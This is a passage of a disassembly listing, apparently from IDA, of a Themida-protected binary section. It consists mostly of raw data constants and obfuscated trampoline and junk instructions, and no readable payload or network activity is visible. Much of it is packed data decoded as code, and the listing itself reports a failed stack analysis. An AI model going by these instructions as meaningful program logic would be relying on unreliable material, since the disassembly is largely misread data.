9D5C6749h, 3065AAE4h, 0CDE5CA5Dh dd 4DF225BEh, 0C1C81935h, 24AE38C1h, 0E516h, 8102700h dd 4DF2317Fh, 305EF1FCh, 0D9351C72h, 142A1DCEh, 0D7121FCCh dd 0C22DF687h, 34592257h, 0FE7FA6DBh, 57E8360Eh, 6ACA5DCAh dd 47DFCD34h, 7ECB444Ah, 1A70A9E5h, 82EDC0F5h, 1F6D264Dh dd 8C94BBF0h, 47DFD1FBh, 7F127D88h, 0F5B4A1AAh, 8CC14E3Ch dd 0AFB726B9h, 49F1D32Bh, 17D08F9Ah, 0D0619679h, 6E43D1B3h dd 1CDB466Ch, 0F1727314h, 7205104Dh, 220F1875h, 15385B63h dd 202B5004h, 2AE5A861h, 365E6DDh, 2A2EF300h, 0ABE2F386h dd 239EE564h, 8F34EDB3h, 83CC8h, 858A0700h, 22ED9F38h dd 0C14E3CD5h, 5BB4DB74h, 0F718750Eh, 0F3FBBAAAh, 8F28759Ah dd 2DC613FCh, 0C65FAC63h, 20FA47C8h, 0BEC9D1h, 0E0BD4DF5h dd 0F41B720Ah, 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0DC188708h dd 4BCF69DEh, 1C728AB8h, 99F5BEF3h, 8DFEB776h, 82F2EF82h dd 939516D9h, 456F6355h, 0D4DDB245h, 96172EEDh, 757D62E3h dd 47DF6912h, 7D3D6671h, 0ACDBE39Eh, 0CF47DFA4h, 66C659C4h dd 49F1BAE8h, 0E3C3141Fh, 471A1BC2h, 0B7765B64h, 0CBB2DFAFh dd 0C7C67F42h, 0E4EC1348h, 46A774A3h, 0D76AD5E0h, 0C24F848Fh dd 50DCCB9h, 48BAEF10h, 162DECF7h, 4FE22D5Dh, 72BF503Eh dd 45CAC27Bh, 2E63ACE4h, 0D7B7C85Bh, 6490B938h, 0BD621568h dd 768F6h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h, 0F28BD837h dd 4C26739Ch, 192F5FDh, 14F14DF5h, 0F31C723Eh, 392831BEh dd 5990727Ah, 949F49F1h, 0EBCF5047h, 906F0B89h, 57229F87h dd 0CD38E17Ch, 755C653Ah, 85BFAEB6h, 0B9C45005h, 652AE3FAh dd 0E0AC75AAh, 0BC27FA2Fh, 0A3761829h, 0BFC8D0EBh, 0BC47E674h dd 7D1D46B1h, 0D408796Ch, 0C98241ACh, 46194EC1h, 711DB6B3h dd 0D3DC699Eh, 5F272FEEh, 0FF49FA6Ch, 90C54A46h, 0D7E22ABDh dd 0E02F5F18h, 8594FA93h, 659A050Ah, 23E2CFD8h, 466571Bh dd 0BC3B4650h, 0EDB50B83h, 0AAE3AA4Fh, 75000006h, 0DA6F31Ch dd 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh, 0E32C618Dh dd 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h, 4DF50150h dd 14805633h, 0A5DA355Bh, 616A3FD2h, 1D9EB574h, 5FDDBB19h dd 62C25513h, 49F3AD5Ch, 0C881404Bh, 0D18A49C6h, 0C6C356B9h dd 79AE612Dh, 3FFEE3ECh, 780B0486h, 80010109h, 4C055006h dd 0C699CE41h, 8388FF07h, 0F0FB47E6h, 0D94C155Dh, 87F878Dh dd 7B47E694h, 0CB8C4770h, 1B3EBD28h, 0F7EDB281h, 6178B52h dd 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch, 3D50E936h dd 209585D2h, 350BFCEh, 0A1EE216Ah, 3A878808h, 0D522EDA1h dd 0E3A4ACFBh, 0A04DF502h, 0A5AEEDC3h, 0E2EA01C0h, 47DF5FA5h dd 0C938CBD6h, 0F2FDACC1h, 0ED33B449h, 0B7F09C9h, 4F5AA235h dd 62B7D790h, 0DCAFE42Bh, 0D631B271h, 877620BDh, 15AEAB3Eh dd 0D4619679h, 6E27E6CBh, 0EB5AED22h, 820A3E3h, 0BB2AAB50h dd 0D1313BD8h, 9DA8F083h, 0B06925DEh, 0BE513CDDh, 0EA4B1E53h dd 613469A6h, 7E10A9F6h, 0C6CF5C91h, 39B9BD21h, 8BEC12C8h dd 4D70C03h, 6B21DA99h, 99C6FA4h, 38E0929Ah, 70CF49F2h dd 0F2061F68h, 0E6515C4Dh, 0A755C467h, 0A2690EEBh, 551h dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h, 0BF0C038Ah dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch dd 0F503A9DEh, 27FDDA4Dh, 0BEF31C72h, 62ADDE97h, 939B5A2Dh dd 47DF5FF4h, 0D8E97C87h, 0AF0C59B6h, 0F800BFA6h, 49F18C96h dd 957A11CAh, 0D2B9BA02h, 0CA35083Dh, 8F0E7D95h, 0C9E54DF1h dd 0CD117118h, 25C624AEh, 18000000h, 1C0A5AEh, 0F17ECDF9h dd 0F82D3849h, 0F180ABE0h, 5009484Dh, 0F440D33Ch, 0DF2EA6EDh dd 0E8FB24AEh, 4D000000h, 0DC335B14h, 2B7BCBB3h, 0B84BDB69h dd 0F328E7A7h, 77AC632Ah, 0D3DBE0AEh, 47DFE1B4h, 46C9C6C7h dd 723B70DBh, 0BEA6F31Ch, 47DFDDE0h, 722B90FEh, 4641F11Eh dd 3547DFE0h, 0E900BF2Ah, 0DFE0A6E1h, 37CAD547h, 22EDA13Ah dd 6A5760EDh, 0FB8C94ABh, 0F747DFE0h, 0FC7E3D78h, 1F20B839h dd 0A0339E71h, 2B611A31h, 65F151E4h, 2949F238h, 62F51A70h dd 65C20F1Ah, 9FB6755Ch, 1674A5E6h, 9BFB8EF9h, 5004E580h dd 0E0995863h, 7C1562ADh, 0E5A2AA11h, 0CD47E5AEh, 481B50BFh dd 0BB3AA5B0h, 0EDB3BC7Ah, 160CD378h, 0E1000004h, 79125FB0h dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh, 4FC0CD21h dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF504E4h dd 72E4BA97h, 7C35F41Bh, 0F6C9FE11h, 0C1CD6663h, 0AE4B014Eh dd 0F901C0A5h, 49F17ECDh, 0DB345811h, 0F840D3A6h, 0EBA0B8EDh dd 84DF180h, 947B10C9h, 21B45B33h, 0D850CD5h, 0DA24AEDFh dd 0C9h, 9F1C722Ch, 2060D61Eh, 8D3D0377h, 47E009FAh, 0AB43CCC0h dd 370035A0h, 0E3FAB956h, 0FEAE612Ah, 47E00989h, 775CEFFAh dd 0E0063F5Fh, 4846FF47h, 2CBF92C7h, 4048731Bh, 47E00847h dd 0B5EA256Bh, 0D43F4AE2h, 6FA0EE87h, 0BDA4AD3Ah, 0CA4545FEh dd 0C02FC295h, 0F2019EB8h, 86080949h, 74D11E89h, 0EC7866Bh dd 8FFE917Eh, 4AD3787h, 0E0AE6750h, 5C31FA2Fh, 6DB548B3h dd 0A3EAA362h, 7861F6Ch, 0F2B68908h, 37DCEDB3h, 31C70h dd 65AAE700h dd 20D7F18h, 0A16E1CB5h, 3BD4BB54h, 0D73855EEh, 0D31B9A8Ah dd 6F0855BAh, 0DA6F31Ch, 0A63F8C83h, 0DA27E8h, 5DEA9B1h dd 0C09D4DF5h, 0F41B72EAh, 99800EA7h, 65B21DF2h, 0F31C72AFh dd 7699F5BEh, 77A4B929h, 0C0C8876Eh, 49F1758Eh, 0BD9DEEF9h dd 0B1A4EB66h, 0CB8A7780h, 18BC4BC3h, 0F4FC13ECh, 0EC14BF93h dd 0A52E5F0h, 8CA3CAFFh, 0A656B9D3h, 0EC14BFE1h, 275CB3D9h dd 1EB1BC54h, 92514049h, 283A8B8Ah, 0AE6D78EEh, 1A2299F5h dd 0EA00416Dh, 4B98030Eh, 0B433DCB2h, 4F951169h, 761DE489h dd 41000002h, 0D972BF50h, 760F5CB3h, 15AEFB14h, 0AF48957Ah dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h dd 30B5A34h, 4DF50684h, 72441AF7h, 31BEF31Ch, 0C17A3928h dd 42B144CBh, 0F718722Bh, 82820464h, 0FA0549F1h, 0F9123DADh dd 3A4201F0h, 5003A214h, 28176873h, 977E0911h, 3C6C47DFh dd 0C0B1BA99h, 0CD606B03h, 4E34226Dh, 967B8483h, 97BFCFD7h dd 0C5C6067Fh, 1DDC47C8h, 9789FE06h, 0EFFA027Bh, 9750775Ch dd 0B08518F7h, 0F3FBBAA7h, 48F1222h, 8E470611h, 29C20F00h dd 7B78EC65h, 0A74D0D7Eh, 95CA4546h, 7BD857C2h, 77513C00h dd 1BF0BD2h, 78A0000h, 6A22BB08h, 0CBBF58A5h, 315EF744h dd 95F891DEh, 783D2D7Ah, 0ABF81776h, 49967912h, 0E22FE0B0h dd 7DCA4549h, 3B4C54A3h, 484DF507h, 1C72956Bh, 127B34F3h dd 0F8856AFDh, 3B4302EFh, 49F15B93h, 729DF1F2h, 0FC4ABA07h dd 4A09F801h, 0CA53B233h, 9F9D1FA3h, 25B823ECh, 3B889C5h dd 20717C50h, 0D099A740h, 573E479Eh, 61AEDF98h, 0F1848B00h dd 49147A82h, 687302E4h, 39530C33h, 656E43D6h, 5CB9C180h dd 4B08D365h, 0D6008140h, 8B320A7h, 46FF6E01h, 837AC748h dd 184DC2CAh, 0EDA1B245h, 5CBAA322h, 0F3985540h, 1102Ch dd 59B6DB00h, 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h dd 7EA9DA5h, 0BC994DF5h, 249314E6h, 8E7DD2A4h, 8BC04F41h dd 9A244DB8h, 0F41F5C33h, 9DF10295h, 96FAB372h, 99040B83h dd 19FE9164h, 424A838Ch, 47DFF945h, 0BAEF206Dh, 3A864FE7h dd 7DD6BC4Bh, 7C1273DEh, 208B5E93h, 2CE3A861h, 0D0222A99h dd 0BF49F199h, 922F5860h, 414C4DF1h, 232C89D6h, 91A5E2EAh dd 77D64DF1h, 0F192186Fh, 0F5606B4Dh, 0C7C3CB8Ah, 0B6500524h dd 0CE4F76ABh, 4E46F2B0h, 0C2D366CDh, 5DF643CCh, 68A7E831h dd 0F9B0C8FDh, 0F0E97984h, 0A4EA05DCh, 10271E6Bh, 732E7F08h dd 5EF1FCAEh, 99CE414Dh, 43FCBFD0h, 0BC8FC44Bh, 732E7B0Ch dd 92FD08AEh, 25A6B55Dh, 6693EC63h, 0DD325887h, 4E93DF72h dd 0C714FB93h, 7AAF602Eh, 53343C53h, 9FAE728Dh, 86B27644h dd 8B962E8Eh, 3E9F8h, 22530000h, 0F01F7234h, 739CF2BBh dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh dd 8B8406CFh, 10FF8D56h, 8950D4DBh, 405E0h, 0E8830000h dd 24048704h, 243C895Ch, 615268h, 241C8900h, 3EE268h, 24148900h dd 306ABE56h, 0EEC177EAh, 4BF68104h, 8131985Eh, 36010ACEh dd 3DB95101h, 1CE1EA1h, 0F38959CEh, 113E685Eh, 24890000h dd 24048124h, 4, 1B40685Ah, 1C890000h, 8428F24h, 5A2434FFh dd 4C481h, 34FF0000h, 0C4835B24h, 0D6BFE904h, 6B45FFFCh ; --------------------------------------------------------------------------- push es sal ecx, 1 loc_5B651F: ; CODE XREF: sub_5B5756:loc_5B58F3j mov eax, 615A9CCh add eax, ebp jmp eax sub_5B5756 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 2CE8DC87h, 28A89AF4h, 652274E1h, 22F5F1CDh, 65728A8h dd 1C081928h, 6BBC1AABh, 5209AC0h, 5B4288F1h, 2BDA93FFh dd 44D91DCBh, 5D0C8F35h, 77BB70Fh, 7B388D8Bh, 268146BCh dd 38F3D23Fh, 6C13B026h, 2EACE209h, 55B057E3h, 75E9h, 8C666000h dd 0F04A8D8h, 3584h, 0FF016A00h, 1217F1B5h, 7A858D06h dd 0FF061582h, 5D8589D0h, 8B06121Ah, 0CEFC1FEh, 4000068h dd 6A006A20h, 0D685702h, 0FF000100h, 121A5D95h, 32E906h dd 85C60000h, 61215C1h, 30DF6856h, 0B5FFA9C5h, 6123101h dd 827A858Dh, 0D0FF0615h, 1E958589h, 858D0612h, 6121841h dd 6A206A50h, 95FF5605h, 6121E95h, 0E0C1C361h, 8F4FEB06h dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh dd 3A6400A6h, 0BA9F0042h, 0DC80h, 1B540000h, 0FEB5h, 0FBFE33h dd 0B4870000h, 202352DDh, 9E019ED9h, 5DE97C80h, 0E9000011h dd 7, 0A36F3A25h, 8922F5CAh, 12080595h, 0E9BD8306h, 6120Eh dd 54850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 71F636C3h, 2531C0EBh, 0F9D00377h dd 0B8h, 58F0F00h, 0B9000000h, 75D84AD3h, 4C2F5h, 0EE8h dd 4DDFB700h, 9CEFB695h, 4630E2EFh, 896558A7h, 12044D8Dh dd 0C08B5F06h, 0B9C9B70Fh, 302D624Bh, 2F01BD83h, 75000612h dd 49BD8309h, 61221h, 53501374h, 0D0B8C08Bh, 8D000004h dd 14AADD9Dh, 5BD3FF06h, 49BD8358h, 61221h, 53501174h dd 4D0B8h, 2A9D8D00h, 0FF0614AAh, 6A585BD3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 3877C351h, 6E797F46h, 8BF88B1Fh, 3D9589C0h, 8D061222h dd 15AB5C85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 83D981F3h, 664131D8h, 508F21BAh dd 0C8F9B966h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 4FAEC350h, 8DB03582h dd 15AB1985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6255C966h, 8B9E657Fh, 0E85150F8h dd 0Dh, 654353E7h, 2DBBE1DAh, 14FDF02Ch, 5912B22Eh, 2404895Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4AC35141h dd 0C59589FFh, 66061218h, 5D26C281h, 1FDD95FFh, 0FE8B0612h dd 424448Bh, 0F5E5260h, 680h, 41958900h, 61061226h, 0AB448589h dd 0ED800615h, 24448B1Ch, 53006A08h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 68D0FB1h, 8B000000h dd 1211858Dh, 58858906h, 890615ABh, 122E6985h, 3DBD8306h dd 61223h, 0F0850Fh, 958B0000h, 61208F1h, 1CC5B589h, 85C60612h dd 61215C1h, 56006A47h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 8509304Bh, 0B805DC74h, 0D462BA66h dd 4691DD68h, 5E8C7h, 4BA40000h, 50A4FB0Bh, 60310F52h dd 5F585A61h, 0F5240481h, 890D5415h, 1228C595h, 1B5FF06h dd 0E9061231h, 9, 95E868DEh, 6E8A3h, 7A858DC8h, 0E8061582h dd 12h, 94F673C0h, 477DBFFBh, 8D055BBCh, 0A752DCEBh, 0CF815BE4h dd 7CB2104Bh, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7587C355h, 9A0D650Ch dd 1619BD2Bh, 85890612h, 612233Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 18C35040h, 0FDA8A84Dh, 31CF959Ch dd 1CC19531h, 0BD830612h, 6122A6Dh, 37850F00h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 8F9EC356h, 314C3C8Bh, 1218CDBDh, 6D8D8906h dd 0C6061218h, 1215C185h, 6A4706h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 7B64A9C3h, 10E939h, 3C2D0000h dd 9A71578Eh, 0CC82443Eh, 0AABB58FDh, 69686B6Ah, 0E8E0D8B6h dd 10h, 0E21451B5h, 4F2183D7h, 57875Fh, 0C5355933h, 68E0Fh dd 880F0000h, 0 ; --------------------------------------------------------------------------- pop edi xor dword ptr [esp], 6AD7038Bh push 0 ; CODE XREF: Themida_:005B6A2Cj push edx call sub_5B69F7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B69F7 proc near ; CODE XREF: Themida_:005B69EFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B69F7 endp ; --------------------------------------------------------------------------- leave jmp loc_5B6A1B ; --------------------------------------------------------------------------- db 4Ah, 25h, 92h dd 8DB2705Dh, 8C89C762h db 6Bh, 4Fh, 79h ; --------------------------------------------------------------------------- loc_5B6A1B: ; CODE XREF: Themida_:005B6A08j push dword ptr [ebp+6123101h] call near ptr loc_5B6A38+1 xor al, 14h xchg esi, edx push edx in eax, dx loopwe near ptr loc_5B69EC+1 adc [esi-6Bh], dh and [ecx+21h], ebp cmc push edi pop esi loc_5B6A38: ; CODE XREF: Themida_:005B6A21p jmp short near ptr dword_5B6528+49Dh ; --------------------------------------------------------------------------- xchg eax, ebp dec ebp daa adc al, [esi] pop ecx lea eax, [ebp+615827Ah] jmp loc_5B6A54 ; --------------------------------------------------------------------------- db 33h dd 85E6CCBDh, 0A6B8759Bh ; --------------------------------------------------------------------------- loc_5B6A54: ; CODE XREF: Themida_:005B6A46j call eax call near ptr loc_5B6A67+2 and ebp, edx fcmovne st, st(5) mov bl, al and [esi], edx shl dword ptr [ecx], 1 dec ebp aaa loc_5B6A67: ; CODE XREF: Themida_:005B6A56p xor ch, [esi-46h] adc [ecx+6D85895Fh], esp sub dl, [edx] push es ja loc_5B6A84 jz loc_5B6A84 mov di, 1D5h loc_5B6A84: ; CODE XREF: Themida_:005B6A74j ; Themida_:005B6A7Aj jno loc_5B6A8E mov di, 0A18Dh loc_5B6A8E: ; CODE XREF: Themida_:loc_5B6A84j cmp dword ptr [ebp+6123301h], 0 jnz loc_5B6B49 add ecx, [ebp+61203F1h] mov byte ptr [ebp+61215C1h], 56h mov [ebp+6120C51h], ebx push 0C84DB4C8h mov dx, 1FA5h add dword ptr [esp], 0BD1B871h push 0 push ecx call sub_5B6AC9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6AC9 proc near ; CODE XREF: Themida_:005B6AC1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B6AC9 endp ; --------------------------------------------------------------------------- db 82h, 0FFh, 12h dd 0F5FAE550h, 3101B5FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0E14C58C3h, 48095D35h dd 958BF0A1h, 6123205h, 827A858Dh, 9D890615h, 6120CA5h dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0C55391C3h, 185898Fh, 89061233h, 1217959Dh ; --------------------------------------------------------------------------- push es loc_5B6B49: ; CODE XREF: Themida_:005B6A95j mov byte ptr [ebp+61215C1h], 6Ch push 0 push ecx call sub_5B6B5B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B5B proc near ; CODE XREF: Themida_:005B6B53p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B6B5B endp ; --------------------------------------------------------------------------- retn 0A22Fh ; --------------------------------------------------------------------------- dw 880Fh dd 0Ah, 4850Fh, 0B9660000h, 0AB681A19h, 50AC39E8h, 2800F52h dd 60000000h, 52310F61h, 0FE9h, 1755CC00h, 0ED2EBF16h dd 5EB3012Bh, 0C3A7876Fh, 81585A5Fh, 98282434h, 0B5FF773Ch dd 61217F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0CC35646h, 48858D8Dh, 6A06123Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A2C3C352h dd 0C7D1E415h, 0D253A88Eh, 8948C280h, 122795B5h, 1D0FF06h dd 121C618Dh, 48858906h, 0F0615ABh, 686h, 0EDBD8B00h, 83061212h dd 15AB64BDh, 850F0006h, 60h, 12EABF66h, 15C185C6h, 60490612h dd 5822B753h, 9E246861h, 11E95194h, 7C000000h, 0C0E93CD6h dd 7464844Fh, 54E783DDh, 96CCC83h, 0C5240481h, 663A808Bh dd 0B5FFF88Bh, 61217F1h, 48858DFCh, 0E906123Bh, 0Dh, 51300317h dd 8900CD49h, 77BBE307h, 66D0FF49h, 8589D38Bh, 615AB64h dd 6A046Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 634425C3h, 68AE3468h, 6FB966D1h, 24048126h dd 2E9761CCh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0B8C35141h, 571AA9E1h, 17C1958Bh, 56680612h, 81266144h dd 44562434h, 6A2660h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0F2B9D3C3h, 8D8BC4E4h, 6121319h dd 0BF0F006Ah, 0B995FFFFh, 9061227h, 1233E18Dh, 5D958906h dd 89061203h, 15AB5485h, 85C7FC06h, 615AB4Ch, 0 ; --------------------------------------------------------------------------- jmp loc_5B6D51 ; --------------------------------------------------------------------------- db 0A1h, 81h, 9Bh dd 0E007C0F1h, 8A204CE9h, 7C59F85Dh ; --------------------------------------------------------------------------- popf loc_5B6D51: ; CODE XREF: Themida_:005B6D3Cj push 0 push 0 push edi call sub_5B6D5E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6D5E proc near ; CODE XREF: Themida_:005B6D56p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5B6D5E endp ; --------------------------------------------------------------------------- retf 83C3h ; --------------------------------------------------------------------------- db 0EDh, 6Eh, 0Bh ; --------------------------------------------------------------------------- push 0E882B757h add dword ptr [esp], 177E48A9h mov edx, ebx push eax jb loc_5B6D8E mov ecx, 704193CEh loc_5B6D8E: ; CODE XREF: Themida_:005B6D83j mov [esp], eax sbb edx, 0F3C7765h push 0Bh mov edi, [ebp+6122E11h] lea eax, [ebp+615AB21h] xor edx, 6C1B9E08h push eax jl loc_5B6DB4 mov ecx, edi loc_5B6DB4: ; CODE XREF: Themida_:005B6DACj mov [esp], eax push 0 push esi call sub_5B6DC2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6DC2 proc near ; CODE XREF: Themida_:005B6DBAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B6DC2 endp ; --------------------------------------------------------------------------- pop ebp mov [ebp+6122481h], eax call dword ptr [ebp+612233Dh] push 0 push ebp call sub_5B6DEA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6DEA proc near ; CODE XREF: Themida_:005B6DE2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5B6DEA endp ; --------------------------------------------------------------------------- inc edx stc add al, 2Ch stc mov esi, 0CA816678h test al, 4Dh pusha and ecx, 942E760h popa lea esi, [ebp+615AB2Bh] push 0 push edx call sub_5B6E1F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6E1F proc near ; CODE XREF: Themida_:005B6E17p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B6E1F endp ; --------------------------------------------------------------------------- movsb movsb movzx edi, si push eax jmp loc_5B6E47 ; --------------------------------------------------------------------------- mov bl, 47h retn 1A64h ; --------------------------------------------------------------------------- db 84h ; --------------------------------------------------------------------------- inc ecx call fword ptr [ebx-6E3845B9h] loc_5B6E47: ; CODE XREF: Themida_:005B6E35j mov [esp], esi push 0 push edx call sub_5B6E55 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6E55 proc near ; CODE XREF: Themida_:005B6E4Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5B6E55 endp ; --------------------------------------------------------------------------- db 70h, 0E7h, 0FBh dd 7BC5F700h, 0B52957F8h, 6120875h, 50901AB2h, 818D8B90h dd 0FF06122Ch, 122A6D95h, 7E95606h, 7E000000h, 1AEB2394h dd 0B5A2961h, 31850FC0h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0F4ADC353h dd 7F463877h, 0B1E96E79h, 89000006h, 120B1D85h, 0FE8B6606h dd 958BD0FFh, 6122A81h, 0AB54B58Bh, 958B0615h, 6123359h dd 6A20468Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0D901C356h, 46A2E75h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 17C35141h, 6890FD0h dd 33000000h, 1233298Dh, 0BE806h, 0C0670000h, 13F8F7DDh dd 4CB34FC5h, 99958BF2h, 5906121Dh, 11E990h, 0B2B00000h dd 0E3207BCDh, 97909CE2h, 556C58B8h, 50234A37h, 18B65250h dd 80B1310Fh, 8B90585Ah, 12041D8Dh, 6495FF06h, 0B0615ABh dd 122D7595h, 0FC00B06h, 2C84h, 0C9B96600h, 5EAE9C6h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 239C12C3h, 1208AD95h, 207E8006h, 0BD840F00h, 6A000005h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 60A6C350h, 8DD08B66h, 0EDBF2046h, 895C1865h dd 15AB5085h, 68D0F06h, 89000000h, 120435B5h, 1A3E906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 624516C3h, 0CE98Fh, 0CEEB0000h, 1C1EA7DCh dd 846FBDDh, 85014FDDh, 6120279h, 56006A40h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F598C174h dd 0FFBF0F53h, 12E8505Ah, 11000000h, 0A93F90Bh, 1191C19Fh dd 3B00397h, 626023DBh, 63B9661Ch, 4895A00h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 7C14DBB6h, 813EA10Eh, 12E5958Bh, 46A0612h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9DC35040h, 5E969h dd 452C0000h, 5068FE50h, 0E1B58960h, 66061211h, 61080FB8h dd 0BF66505Ah, 4892270h, 2CF28024h, 0AB6495FFh, 8BFC0615h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 3B040E49h, 5223B671h, 5AFBB70Fh, 2A8D9D89h dd 6A580612h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 56C3C353h, 2FE09D9Ah, 0DB0BEBD0h dd 5B840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 3D4764C3h, 665A5366h, 6633E181h dd 40BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 950BBACEh, 6120435h, 31BD8B50h, 59061217h dd 0EAF28166h, 388037h, 0FE8A850Fh, 0CA8BFFFFh, 12E9h dd 0D38B6600h, 0EED28048h, 56C88160h, 0F4C572Bh, 3B61FFBFh dd 15AB5085h, 4E820F06h, 0F000000h, 178Ch, 12E900h, 71720000h dd 0F4579B2Fh, 1512E2B1h, 3B8C3954h, 123CAB9h, 0F5C3880h dd 2884h, 80ACB200h, 850F2F38h, 0FFFFFFB4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 2EB24012h dd 0AB58BD83h, 0F000615h, 17784h, 0E9816600h, 50FC23A5h dd 89D78B66h, 0B70F2404h, 588503CEh, 6A0615ABh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 3220C357h, 0E950902Fh, 0Fh, 17F67467h, 0C0B43181h, 79731960h dd 902BB9BAh, 3418589h, 46A0612h, 6155BA66h, 66525090h dd 0FC453B9h, 0CB8B6631h, 6650585Ah, 6690D08Bh, 95FFD38Bh dd 615AB64h, 35D5BA66h, 4800Fh, 0BF660000h, 0D88B837Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h dd 11C11FA1h, 10E8h, 0CC2AD200h, 4EABFEE5h, 6C03F3ADh dd 46BDDD56h, 87DF816Ah, 596A0B14h, 0D800Fh, 0BE600000h dd 3ADA4AFDh, 0EAD5D381h, 586113CDh, 3305B589h, 0DB0B0612h dd 65840Fh, 9D890000h, 61220F9h, 263E9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E8E04FDCh, 8, 67F15823h, 0C9EEBDF5h, 18870Fh, 12E80000h dd 0E4000000h, 1A3D5389h, 35A50503h, 80ACFCB9h, 0DDF4A341h dd 15A5F03h, 12156185h, 5E906h, 6E490000h, 0C656BE2Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 